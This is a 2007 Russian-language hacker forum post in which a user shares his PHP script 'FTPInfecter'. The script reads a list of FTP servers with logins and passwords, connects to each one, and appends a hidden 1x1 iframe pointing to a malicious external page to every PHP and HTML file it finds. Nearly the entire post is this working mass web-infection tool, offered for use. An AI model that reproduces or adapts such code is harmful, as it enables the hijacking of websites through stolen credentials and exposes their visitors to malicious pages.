Показать сообщение отдельно

  #56  
Старый 12.03.2007, 21:28
x-treem
Участник форума
Регистрация: 08.11.2006
Сообщений: 167
Провел на форуме:
539434

Репутация: 54
Отправить сообщение для x-treem с помощью ICQ
По умолчанию

вот тут был скрипт, давно писал. фтпинфектер... во как.
создаём файл. туда пишем данные вот в таком виде:
ftp_server;login;pass

скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код
PHP код:
<?
## FTPInfecter by xtreem
## mail: xtreemx@gmail.com 

error_reporting(0);
set_magic_quotes_runtime(0);
@
set_time_limit(0);
@
ini_set('max_execution_time',0);
@
ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode'); 

echo 
" This is FTPInfecter script\n";
echo 
" Coded by xtreem(xtreemx@gmail.com)\n";
echo 
" example: FTPInfecter.php servers.db\n\n";

if (!
$argv[1])
{
$servdb "servers.txt";
}else{
$servdb $argv[1];
}
$code "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>";

$file file($servdb"r");
$count count($file);
$is 0;
while (
$is $count)
{
 
chomp;
 
$met explode(';'$file[$is]);
$server $met[0];
$user $met[1];
$pass $met[2];

if ((
$connect ftp_connect($server)) && ($login ftp_login($connect$user$pass))){
echo 
"CONNECTED TO:".$server."\n";
$buff ftp_nlist($connect'');
$d count($buff);  
$i 0;
while (
$d <> $i)
{
if (
$buff[$i] <> '.' && $buff[$i] <> '..'){
if (
ftp_chdir($connect$buff[$i]))
{
echo 
"DIR: ".$buff[$i]."\n";
ftp_chdir($connect'..');
}else{
$part explode('.'$buff[$i]);
if (
$part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){
echo 
"FILE: ".$buff[$i]."\n";
$fp fopen($buff[$i], 'w+');
if (
ftp_fget($connect$fp$buff[$i], FTP_ASCII0)) { 
echo 
"GET: ".$buff[$i]."\n";
}
fclose($fp); 
$fw fopen($buff[$i], 'a');
fputs ($fw$code);
fclose($fw);
echo 
"INFECTED: ".$buff[$i]."\n";
if (
ftp_put($connect$buff[$i], $buff[$i], FTP_ASCII)) {
echo 
"PUT: ".$buff[$i]."\n";}
$del unlink($buff[$i]);
if (
$del){echo "DELETE: ".$buff[$i]."\n\n";}
}
}
}
$i++;
}
ftp_close($connect);  
}else{echo 
"NOT CONNECT TO: ".$server."\n";}
$is++;
}
?>

Последний раз редактировалось nc.STRIEM; 12.03.2007 в 22:09..